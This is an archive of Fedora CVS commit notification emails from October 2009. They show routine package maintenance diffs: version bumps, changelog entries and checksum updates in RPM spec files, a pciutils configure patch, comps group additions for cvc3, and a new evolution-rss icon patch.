In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15165

Modified Files:
	.cvsignore openslide.spec sources 
Log Message:
* Fri Oct 23 2009 Adam Goode <adam at spicenitz.org> - 2.2.1-1
- New upstream release
   + Fix thread safety (not really lockless anymore)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openslide/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	23 Sep 2009 15:36:45 -0000	1.2
+++ .cvsignore	23 Oct 2009 15:37:16 -0000	1.3
@@ -1 +1 @@
-openslide-2.2.0.tar.xz
+openslide-2.2.1.tar.xz


Index: openslide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openslide/F-11/openslide.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openslide.spec	23 Sep 2009 15:36:45 -0000	1.1
+++ openslide.spec	23 Oct 2009 15:37:16 -0000	1.2
@@ -1,6 +1,6 @@
 Name:		openslide
-Version:	2.2.0
-Release:	3%{?dist}
+Version:	2.2.1
+Release:	1%{?dist}
 Summary:	C library for reading virtual slides
 
 Group:		System Environment/Libraries
@@ -68,6 +68,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 23 2009 Adam Goode <adam at spicenitz.org> - 2.2.1-1
+- New upstream release
+   + Fix thread safety (not really lockless anymore)
+
 * Tue Sep 22 2009 Adam Goode <adam at spicenitz.org> - 2.2.0-3
 - Use xz instead of gz
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openslide/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	23 Sep 2009 15:36:45 -0000	1.2
+++ sources	23 Oct 2009 15:37:16 -0000	1.3
@@ -1 +1 @@
-bec05ceb1dfb569606c4691010eecde8  openslide-2.2.0.tar.xz
+54c2488cfc065fa04674ed0cbdc3e17b  openslide-2.2.1.tar.xz



From agoode at fedoraproject.org  Fri Oct 23 15:41:01 2009
From: agoode at fedoraproject.org (Adam Goode)
Date: Fri, 23 Oct 2009 15:41:01 +0000 (UTC)
Subject: rpms/openslide/F-10 .cvsignore, 1.2, 1.3 openslide.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091023154101.6E3E211C02A2@cvs1.fedora.phx.redhat.com>

Author: agoode

Update of /cvs/pkgs/rpms/openslide/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16367

Modified Files:
	.cvsignore openslide.spec sources 
Log Message:
* Fri Oct 23 2009 Adam Goode <adam at spicenitz.org> - 2.2.1-1
- New upstream release
   + Fix thread safety (not really lockless anymore)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openslide/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	23 Sep 2009 15:51:21 -0000	1.2
+++ .cvsignore	23 Oct 2009 15:41:00 -0000	1.3
@@ -1 +1 @@
-openslide-2.2.0.tar.gz
+openslide-2.2.1.tar.gz


Index: openslide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openslide/F-10/openslide.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openslide.spec	23 Sep 2009 15:51:34 -0000	1.1
+++ openslide.spec	23 Oct 2009 15:41:00 -0000	1.2
@@ -1,6 +1,6 @@
 Name:		openslide
-Version:	2.2.0
-Release:	3%{?dist}.1
+Version:	2.2.1
+Release:	1%{?dist}
 Summary:	C library for reading virtual slides
 
 Group:		System Environment/Libraries
@@ -68,6 +68,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 23 2009 Adam Goode <adam at spicenitz.org> - 2.2.1-1
+- New upstream release
+   + Fix thread safety (not really lockless anymore)
+
 * Wed Sep 23 2009 Adam Goode <adam at spicenitz.org> - 2.2.0-3.1
 - Use gz for F-10
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openslide/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	23 Sep 2009 15:51:21 -0000	1.2
+++ sources	23 Oct 2009 15:41:00 -0000	1.3
@@ -1 +1 @@
-d667023105be1dc2c064454c7b76125d  openslide-2.2.0.tar.gz
+ad881553ea6020cec34fe036827ab744  openslide-2.2.1.tar.gz



From jjames at fedoraproject.org  Fri Oct 23 15:45:48 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Fri, 23 Oct 2009 15:45:48 +0000 (UTC)
Subject: rpms/eclipse-findbugs/F-12 eclipse-findbugs.spec, 1.5,
	1.6 eclipsePlugin-1.3.9-build.patch, 1.1, 1.2
Message-ID: <20091023154549.921B111C01EA@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/eclipse-findbugs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18232/F-12

Modified Files:
	eclipse-findbugs.spec eclipsePlugin-1.3.9-build.patch 
Log Message:
* Fri Oct 23 2009 Jerry James <loganjerry at gmail.com> - 1.3.9-2
- Remove explicit versions from the manifest to match the symlinks (bz 530512)



Index: eclipse-findbugs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-findbugs/F-12/eclipse-findbugs.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- eclipse-findbugs.spec	25 Aug 2009 19:53:32 -0000	1.5
+++ eclipse-findbugs.spec	23 Oct 2009 15:45:47 -0000	1.6
@@ -3,7 +3,7 @@
 
 Name:           eclipse-findbugs
 Version:        1.3.9
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Eclipse plugin for FindBugs
 
 Group:          Development/Languages
@@ -82,6 +82,9 @@ rm -rf $RPM_BUILD_ROOT
 %{plugin_dir}
 
 %changelog
+* Fri Oct 23 2009 Jerry James <loganjerry at gmail.com> - 1.3.9-2
+- Remove explicit versions from the manifest to match the symlinks (bz 530512)
+
 * Tue Aug 25 2009 Jerry James <loganjerry at gmail.com> - 1.3.9-1
 - Update to 1.3.9
 

eclipsePlugin-1.3.9-build.patch:
 META-INF/MANIFEST.MF |   21 +++++++++++----------
 build.properties     |   20 ++++++++++----------
 build.xml            |   33 ++++++++++++++++++++-------------
 3 files changed, 41 insertions(+), 33 deletions(-)

Index: eclipsePlugin-1.3.9-build.patch
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-findbugs/F-12/eclipsePlugin-1.3.9-build.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- eclipsePlugin-1.3.9-build.patch	25 Aug 2009 19:53:32 -0000	1.1
+++ eclipsePlugin-1.3.9-build.patch	23 Oct 2009 15:45:47 -0000	1.2
@@ -129,13 +129,13 @@ diff -dur eclipsePlugin-1.3.9.20090821.O
 + findbugs-annotations.jar,
 + findbugs-bcel.jar,
 + findbugs.jar,
-+ dom4j-1.6.1.jar,
-+ jaxen-1.1.1.jar,
++ dom4j.jar,
++ jaxen.jar,
 + jFormatString.jar,
-+ asm-tree-3.1.jar,
-+ asm-3.1.jar,
-+ asm-commons-3.1.jar,
-+ commons-lang-2.4.jar
++ asm-tree.jar,
++ asm.jar,
++ asm-commons.jar,
++ commons-lang.jar
  Bundle-Activator: de.tobject.findbugs.FindbugsPlugin
  Bundle-Vendor: FindBugs Project
  Bundle-Localization: plugin



From jjames at fedoraproject.org  Fri Oct 23 15:45:49 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Fri, 23 Oct 2009 15:45:49 +0000 (UTC)
Subject: rpms/eclipse-findbugs/devel eclipse-findbugs.spec, 1.5,
	1.6 eclipsePlugin-1.3.9-build.patch, 1.1, 1.2
Message-ID: <20091023154549.A6ED311C0260@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/eclipse-findbugs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18232/devel

Modified Files:
	eclipse-findbugs.spec eclipsePlugin-1.3.9-build.patch 
Log Message:
* Fri Oct 23 2009 Jerry James <loganjerry at gmail.com> - 1.3.9-2
- Remove explicit versions from the manifest to match the symlinks (bz 530512)



Index: eclipse-findbugs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-findbugs/devel/eclipse-findbugs.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- eclipse-findbugs.spec	25 Aug 2009 19:53:32 -0000	1.5
+++ eclipse-findbugs.spec	23 Oct 2009 15:45:48 -0000	1.6
@@ -3,7 +3,7 @@
 
 Name:           eclipse-findbugs
 Version:        1.3.9
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Eclipse plugin for FindBugs
 
 Group:          Development/Languages
@@ -82,6 +82,9 @@ rm -rf $RPM_BUILD_ROOT
 %{plugin_dir}
 
 %changelog
+* Fri Oct 23 2009 Jerry James <loganjerry at gmail.com> - 1.3.9-2
+- Remove explicit versions from the manifest to match the symlinks (bz 530512)
+
 * Tue Aug 25 2009 Jerry James <loganjerry at gmail.com> - 1.3.9-1
 - Update to 1.3.9
 

eclipsePlugin-1.3.9-build.patch:
 META-INF/MANIFEST.MF |   21 +++++++++++----------
 build.properties     |   20 ++++++++++----------
 build.xml            |   33 ++++++++++++++++++++-------------
 3 files changed, 41 insertions(+), 33 deletions(-)

Index: eclipsePlugin-1.3.9-build.patch
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-findbugs/devel/eclipsePlugin-1.3.9-build.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- eclipsePlugin-1.3.9-build.patch	25 Aug 2009 19:53:32 -0000	1.1
+++ eclipsePlugin-1.3.9-build.patch	23 Oct 2009 15:45:48 -0000	1.2
@@ -129,13 +129,13 @@ diff -dur eclipsePlugin-1.3.9.20090821.O
 + findbugs-annotations.jar,
 + findbugs-bcel.jar,
 + findbugs.jar,
-+ dom4j-1.6.1.jar,
-+ jaxen-1.1.1.jar,
++ dom4j.jar,
++ jaxen.jar,
 + jFormatString.jar,
-+ asm-tree-3.1.jar,
-+ asm-3.1.jar,
-+ asm-commons-3.1.jar,
-+ commons-lang-2.4.jar
++ asm-tree.jar,
++ asm.jar,
++ asm-commons.jar,
++ commons-lang.jar
  Bundle-Activator: de.tobject.findbugs.FindbugsPlugin
  Bundle-Vendor: FindBugs Project
  Bundle-Localization: plugin



From bpepple at fedoraproject.org  Fri Oct 23 15:56:46 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Fri, 23 Oct 2009 15:56:46 +0000 (UTC)
Subject: rpms/farsight2/F-12 .cvsignore, 1.10, 1.11 farsight2.spec, 1.18,
	1.19 sources, 1.10, 1.11
Message-ID: <20091023155646.88AAF11C01EA@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/farsight2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22340

Modified Files:
	.cvsignore farsight2.spec sources 
Log Message:
* Tue Oct  6 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.0.16-1
- Update to 0.0.16.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/farsight2/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	3 Sep 2009 23:01:29 -0000	1.10
+++ .cvsignore	23 Oct 2009 15:56:46 -0000	1.11
@@ -1 +1 @@
-farsight2-0.0.15.tar.gz
+farsight2-0.0.16.tar.gz


Index: farsight2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/farsight2/F-12/farsight2.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- farsight2.spec	17 Sep 2009 21:02:14 -0000	1.18
+++ farsight2.spec	23 Oct 2009 15:56:46 -0000	1.19
@@ -6,8 +6,8 @@
 %define gst_python 0.10.10
 
 Name:           farsight2
-Version:        0.0.15
-Release:        2%{?dist}
+Version:        0.0.16
+Release:        1%{?dist}
 Summary:        Libraries for videoconferencing
 
 Group:          System Environment/Libraries
@@ -118,6 +118,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct  6 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.0.16-1
+- Update to 0.0.16.
+
 * Thu Sep 17 2009 Bastien Nocera <bnocera at redhat.com> 0.0.15-2
 - Rebuild for new gupnp
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/farsight2/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	3 Sep 2009 23:01:29 -0000	1.10
+++ sources	23 Oct 2009 15:56:46 -0000	1.11
@@ -1 +1 @@
-563ae54fb4df477eaf11e047e1550df7  farsight2-0.0.15.tar.gz
+ca6261e19cfcfe8a6e5e51b8c2f5ad16  farsight2-0.0.16.tar.gz



From mhlavink at fedoraproject.org  Fri Oct 23 15:57:45 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri, 23 Oct 2009 15:57:45 +0000 (UTC)
Subject: rpms/pciutils/F-12 pciutils-3.0.2-multilib.patch, 1.3,
	1.4 pciutils.spec, 1.78, 1.79 pciutils-2.2.10-multilib.patch,
	1.1, NONE
Message-ID: <20091023155745.80FC811C01EA@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/pciutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22580

Modified Files:
	pciutils-3.0.2-multilib.patch pciutils.spec 
Removed Files:
	pciutils-2.2.10-multilib.patch 
Log Message:
* Fri Oct 23 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-4
- use direct hardware access method for 64bit architectures


pciutils-3.0.2-multilib.patch:
 configure |   62 ++++++++++++++++++++++++++++++++++++++++++++++++++------------
 1 file changed, 50 insertions(+), 12 deletions(-)

Index: pciutils-3.0.2-multilib.patch
===================================================================
RCS file: /cvs/extras/rpms/pciutils/F-12/pciutils-3.0.2-multilib.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- pciutils-3.0.2-multilib.patch	27 Jan 2009 17:26:44 -0000	1.3
+++ pciutils-3.0.2-multilib.patch	23 Oct 2009 15:57:45 -0000	1.4
@@ -1,7 +1,7 @@
-diff -up pciutils-3.0.2/lib/configure.multilib pciutils-3.0.2/lib/configure
---- pciutils-3.0.2/lib/configure.multilib	2008-09-19 20:04:37.000000000 +0200
-+++ pciutils-3.0.2/lib/configure	2008-09-22 10:35:58.964527560 +0200
-@@ -45,29 +45,62 @@ sys=`echo $host | sed 's/^\([^-]*\)-\([^
+diff -up pciutils-3.1.4/lib/configure.multilib pciutils-3.1.4/lib/configure
+--- pciutils-3.1.4/lib/configure.multilib	2009-08-10 16:28:53.000000000 +0200
++++ pciutils-3.1.4/lib/configure	2009-10-23 17:51:57.272127815 +0200
+@@ -50,29 +50,64 @@ sys=`echo $host | sed 's/^\([^-]*\)-\([^
  echo " $host $rel $cpu $sys"
  
  c=config.h
@@ -15,8 +15,10 @@ diff -up pciutils-3.0.2/lib/configure.mu
 +#define PCI_CONFIG_H
 +#if defined(__x86_64__)
 +#define PCI_ARCH_X86_64
++#define PCI_HAVE_PM_INTEL_CONF
 +#elif defined(__ia64__)
 +#define PCI_ARCH_IA64
++#define PCI_HAVE_PM_INTEL_CONF
 +#elif defined(__i386__)
 +#define PCI_ARCH_I386
 +#define PCI_HAVE_PM_INTEL_CONF
@@ -74,7 +76,7 @@ diff -up pciutils-3.0.2/lib/configure.mu
  		;;
  	sunos)
  		case $cpu in
-@@ -123,7 +156,7 @@ case $sys in
+@@ -130,7 +165,7 @@ case $sys in
  		;;
  esac
  
@@ -83,7 +85,7 @@ diff -up pciutils-3.0.2/lib/configure.mu
  echo " dump"
  
  echo_n "Checking for zlib support... "
-@@ -146,6 +179,7 @@ else
+@@ -153,6 +188,7 @@ else
  	echo >>$c '#define PCI_IDS "pci.ids"'
  fi
  echo >>$c "#define PCI_PATH_IDS_DIR \"$IDSDIR\""
@@ -91,7 +93,7 @@ diff -up pciutils-3.0.2/lib/configure.mu
  
  echo_n "Checking for DNS support... "
  if [ "$DNS" = yes -o "$DNS" = no ] ; then
-@@ -160,6 +194,7 @@ else
+@@ -167,6 +203,7 @@ else
  fi
  if [ "$DNS" = yes ] ; then
  	echo >>$c "#define PCI_USE_DNS"
@@ -99,7 +101,7 @@ diff -up pciutils-3.0.2/lib/configure.mu
  	echo >>$c "#define PCI_ID_DOMAIN \"pci.id.ucw.cz\""
  	echo >>$m "WITH_LIBS+=$LIBRESOLV"
  fi
-@@ -182,4 +217,5 @@ fi
+@@ -189,4 +226,5 @@ fi
  echo >>$m 'PCILIBPC=$(LIBNAME).pc'
  
  echo >>$c "#define PCILIB_VERSION \"$VERSION\""


Index: pciutils.spec
===================================================================
RCS file: /cvs/extras/rpms/pciutils/F-12/pciutils.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- pciutils.spec	12 Oct 2009 13:29:09 -0000	1.78
+++ pciutils.spec	23 Oct 2009 15:57:45 -0000	1.79
@@ -1,6 +1,6 @@
 Name:		pciutils
 Version:	3.1.4
-Release: 	3%{?dist}
+Release: 	4%{?dist}
 Source:		ftp://atrey.karlin.mff.cuni.cz/pub/linux/pci/%{name}-%{version}.tar.gz
 
 #truncate too long names (#205948)
@@ -140,6 +140,9 @@ install -p lib/libpci.pc $RPM_BUILD_ROOT
 rm -rf $RPM_BUILD_ROOT
 
 %changelog
+* Fri Oct 23 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-4
+- use direct hardware access method for 64bit architectures
+
 * Mon Oct 12 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-3
 - don't ship static library in -devel sub-package
 


--- pciutils-2.2.10-multilib.patch DELETED ---



From jjames at fedoraproject.org  Fri Oct 23 16:16:02 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Fri, 23 Oct 2009 16:16:02 +0000 (UTC)
Subject: comps comps-f11.xml.in, 1.317, 1.318 comps-f12.xml.in, 1.170,
	1.171 comps-f13.xml.in, 1.56, 1.57
Message-ID: <20091023161602.C6A3111C01EA@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28321

Modified Files:
	comps-f11.xml.in comps-f12.xml.in comps-f13.xml.in 
Log Message:
Add cvc3 and its subpackages.



Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.317
retrieving revision 1.318
diff -u -p -r1.317 -r1.318
--- comps-f11.xml.in	22 Oct 2009 23:21:13 -0000	1.317
+++ comps-f11.xml.in	23 Oct 2009 16:15:59 -0000	1.318
@@ -872,6 +872,7 @@
       <packagereq type="default">rpm-devel</packagereq>
       <packagereq type="default">slang-devel</packagereq>
       <packagereq type="optional">check-devel</packagereq>
+      <packagereq type="optional">cvc3-devel</packagereq>
       <packagereq type="optional">expatmm-devel</packagereq>
       <packagereq type="optional">libdwarf-devel</packagereq>
       <packagereq type="optional">libusb-devel</packagereq>
@@ -1366,6 +1367,10 @@
       <packagereq type="optional">cdo</packagereq>
       <packagereq type="optional">cernlib-utils</packagereq>
       <packagereq type="optional">chemtool</packagereq>
+      <packagereq type="optional">cvc3</packagereq>
+      <packagereq type="optional">cvc3-doc</packagereq>
+      <packagereq type="optional">cvc3-emacs</packagereq>
+      <packagereq type="optional">cvc3-xemacs</packagereq>
       <packagereq type="optional">dx</packagereq>
       <packagereq type="optional">dx-samples</packagereq>
       <packagereq type="optional">freefem++</packagereq>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.170
retrieving revision 1.171
diff -u -p -r1.170 -r1.171
--- comps-f12.xml.in	22 Oct 2009 23:21:13 -0000	1.170
+++ comps-f12.xml.in	23 Oct 2009 16:16:01 -0000	1.171
@@ -966,6 +966,7 @@
       <packagereq type="default">rpm-devel</packagereq>
       <packagereq type="default">slang-devel</packagereq>
       <packagereq type="optional">check-devel</packagereq>
+      <packagereq type="optional">cvc3-devel</packagereq>
       <packagereq type="optional">expatmm-devel</packagereq>
       <packagereq type="optional">libdwarf-devel</packagereq>
       <packagereq type="optional">libusb-devel</packagereq>
@@ -1514,6 +1515,10 @@
       <packagereq type="optional">cdo</packagereq>
       <packagereq type="optional">cernlib-utils</packagereq>
       <packagereq type="optional">chemtool</packagereq>
+      <packagereq type="optional">cvc3</packagereq>
+      <packagereq type="optional">cvc3-doc</packagereq>
+      <packagereq type="optional">cvc3-emacs</packagereq>
+      <packagereq type="optional">cvc3-xemacs</packagereq>
       <packagereq type="optional">dx</packagereq>
       <packagereq type="optional">dx-samples</packagereq>
       <packagereq type="optional">freefem++</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- comps-f13.xml.in	22 Oct 2009 16:05:32 -0000	1.56
+++ comps-f13.xml.in	23 Oct 2009 16:16:01 -0000	1.57
@@ -957,6 +957,7 @@
       <packagereq type="default">rpm-devel</packagereq>
       <packagereq type="default">slang-devel</packagereq>
       <packagereq type="optional">check-devel</packagereq>
+      <packagereq type="optional">cvc3-devel</packagereq>
       <packagereq type="optional">expatmm-devel</packagereq>
       <packagereq type="optional">libdwarf-devel</packagereq>
       <packagereq type="optional">libusb-devel</packagereq>
@@ -1505,6 +1506,10 @@
       <packagereq type="optional">cdo</packagereq>
       <packagereq type="optional">cernlib-utils</packagereq>
       <packagereq type="optional">chemtool</packagereq>
+      <packagereq type="optional">cvc3</packagereq>
+      <packagereq type="optional">cvc3-doc</packagereq>
+      <packagereq type="optional">cvc3-emacs</packagereq>
+      <packagereq type="optional">cvc3-xemacs</packagereq>
       <packagereq type="optional">dx</packagereq>
       <packagereq type="optional">dx-samples</packagereq>
       <packagereq type="optional">freefem++</packagereq>



From pjones at fedoraproject.org  Fri Oct 23 16:25:21 2009
From: pjones at fedoraproject.org (Peter Jones)
Date: Fri, 23 Oct 2009 16:25:21 +0000 (UTC)
Subject: rpms/anaconda/F-12 .cvsignore, 1.680, 1.681 anaconda.spec, 1.830,
	1.831 sources, 1.814, 1.815
Message-ID: <20091023162521.D729D11C01EA@cvs1.fedora.phx.redhat.com>

Author: pjones

Update of /cvs/extras/rpms/anaconda/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31983

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
* Fri Oct 23 2009 Peter Jones <pjones at redhat.com> - 12.39-1
- More udev fixups for device-mapper and cryptsetup temp devices. (dlehman)
  (#526699)
- Use rpm to determine how to set bootloader args and default runlevel
  (clumens) (#527520)
- Handle more than x.y version numbers in 'make bumpver'. (dcantrell)
- Mark live device as protected instead of ignoring it. (dlehman) (#517260)
- Don't force logical with a free primary slot and an extended. (dlehman)
  (#527952)
- Write LAYER2 and PORTNO correctly as parts of OPTIONS to ifcfg for s390x
  (Steffen Maier)
- liveinst: deactivate mdraid arrays before running liveinst (hansg)
  (#528235)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/anaconda/F-12/.cvsignore,v
retrieving revision 1.680
retrieving revision 1.681
diff -u -p -r1.680 -r1.681
--- .cvsignore	13 Oct 2009 22:17:45 -0000	1.680
+++ .cvsignore	23 Oct 2009 16:25:19 -0000	1.681
@@ -1 +1 @@
-anaconda-12.38.tar.bz2
+anaconda-12.39.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/extras/rpms/anaconda/F-12/anaconda.spec,v
retrieving revision 1.830
retrieving revision 1.831
diff -u -p -r1.830 -r1.831
--- anaconda.spec	13 Oct 2009 22:17:45 -0000	1.830
+++ anaconda.spec	23 Oct 2009 16:25:19 -0000	1.831
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 12.38
+Version: 12.39
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -215,6 +215,20 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Fri Oct 23 2009 Peter Jones <pjones at redhat.com> - 12.39-1
+- More udev fixups for device-mapper and cryptsetup temp devices. (dlehman)
+  (#526699)
+- Use rpm to determine how to set bootloader args and default runlevel
+  (clumens) (#527520)
+- Handle more than x.y version numbers in 'make bumpver'. (dcantrell)
+- Mark live device as protected instead of ignoring it. (dlehman) (#517260)
+- Don't force logical with a free primary slot and an extended. (dlehman)
+  (#527952)
+- Write LAYER2 and PORTNO correctly as parts of OPTIONS to ifcfg for s390x
+  (Steffen Maier)
+- liveinst: deactivate mdraid arrays before running liveinst (hansg)
+  (#528235)
+
 * Tue Oct 13 2009 David Cantrell <dcantrell at redhat.com> - 12.38-1
 - Remove extra echo in 'make rpmlog'. (dcantrell)
 - Do not traceback if network device doesn't have HwAddress property


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/anaconda/F-12/sources,v
retrieving revision 1.814
retrieving revision 1.815
diff -u -p -r1.814 -r1.815
--- sources	13 Oct 2009 22:17:45 -0000	1.814
+++ sources	23 Oct 2009 16:25:19 -0000	1.815
@@ -1 +1 @@
-98c4a581e2fde165f725d5053917e8a6  anaconda-12.38.tar.bz2
+2ef873501606caa435661e4c5208c181  anaconda-12.39.tar.bz2



From lucilanga at fedoraproject.org  Fri Oct 23 16:35:09 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Fri, 23 Oct 2009 16:35:09 +0000 (UTC)
Subject: rpms/evolution-rss/F-12 evolution-rss-0.1.4-icon-size.patch, NONE, 
	1.1 evolution-rss.spec, 1.36, 1.37
Message-ID: <20091023163509.69E9511C01EA@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/evolution-rss/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2637

Modified Files:
	evolution-rss.spec 
Added Files:
	evolution-rss-0.1.4-icon-size.patch 
Log Message:
add patch for icon loading

evolution-rss-0.1.4-icon-size.patch:
 src/rss-icon-factory.c |    2 ++
 src/rss.c              |   40 ++++++++++++++++++++--------------------
 2 files changed, 22 insertions(+), 20 deletions(-)

--- NEW FILE evolution-rss-0.1.4-icon-size.patch ---
diff -Naur evolution-rss-0.1.4/config.h evolution-rss-0.1.4-mod/config.h
diff -Naur evolution-rss-0.1.4/config.log evolution-rss-0.1.4-mod/config.log
diff -Naur evolution-rss-0.1.4/config.status evolution-rss-0.1.4-mod/config.status
diff -Naur evolution-rss-0.1.4/evolution-rss.spec evolution-rss-0.1.4-mod/evolution-rss.spec
diff -Naur evolution-rss-0.1.4/libtool evolution-rss-0.1.4-mod/libtool
diff -Naur evolution-rss-0.1.4/Makefile evolution-rss-0.1.4-mod/Makefile
diff -Naur evolution-rss-0.1.4/pixmaps/Makefile evolution-rss-0.1.4-mod/pixmaps/Makefile
diff -Naur evolution-rss-0.1.4/po/Makefile evolution-rss-0.1.4-mod/po/Makefile
diff -Naur evolution-rss-0.1.4/po/Makefile.in evolution-rss-0.1.4-mod/po/Makefile.in
diff -Naur evolution-rss-0.1.4/po/POTFILES evolution-rss-0.1.4-mod/po/POTFILES
diff -Naur evolution-rss-0.1.4/src/.deps/dbus.Plo evolution-rss-0.1.4-mod/src/.deps/dbus.Plo
diff -Naur evolution-rss-0.1.4/src/.deps/evolution-import-rss.Po evolution-rss-0.1.4-mod/src/.deps/evolution-import-rss.Po
diff -Naur evolution-rss-0.1.4/src/.deps/fetch.Plo evolution-rss-0.1.4-mod/src/.deps/fetch.Plo
diff -Naur evolution-rss-0.1.4/src/.deps/file-gio.Plo evolution-rss-0.1.4-mod/src/.deps/file-gio.Plo
diff -Naur evolution-rss-0.1.4/src/.deps/gecko-utils.Plo evolution-rss-0.1.4-mod/src/.deps/gecko-utils.Plo
diff -Naur evolution-rss-0.1.4/src/.deps/misc.Plo evolution-rss-0.1.4-mod/src/.deps/misc.Plo
diff -Naur evolution-rss-0.1.4/src/.deps/network-soup.Plo evolution-rss-0.1.4-mod/src/.deps/network-soup.Plo
diff -Naur evolution-rss-0.1.4/src/.deps/parser.Plo evolution-rss-0.1.4-mod/src/.deps/parser.Plo
diff -Naur evolution-rss-0.1.4/src/.deps/rss-config-factory.Plo evolution-rss-0.1.4-mod/src/.deps/rss-config-factory.Plo
diff -Naur evolution-rss-0.1.4/src/.deps/rss-icon-factory.Plo evolution-rss-0.1.4-mod/src/.deps/rss-icon-factory.Plo
diff -Naur evolution-rss-0.1.4/src/.deps/rss.Plo evolution-rss-0.1.4-mod/src/.deps/rss.Plo
diff -Naur evolution-rss-0.1.4/src/.libs/dbus.o evolution-rss-0.1.4-mod/src/.libs/dbus.o
\ No newline at end of file
diff -Naur evolution-rss-0.1.4/src/.libs/fetch.o evolution-rss-0.1.4-mod/src/.libs/fetch.o
\ No newline at end of file
diff -Naur evolution-rss-0.1.4/src/.libs/file-gio.o evolution-rss-0.1.4-mod/src/.libs/file-gio.o
\ No newline at end of file
diff -Naur evolution-rss-0.1.4/src/.libs/gecko-utils.o evolution-rss-0.1.4-mod/src/.libs/gecko-utils.o
\ No newline at end of file
diff -Naur evolution-rss-0.1.4/src/.libs/liborg-gnome-evolution-rss.lai evolution-rss-0.1.4-mod/src/.libs/liborg-gnome-evolution-rss.lai
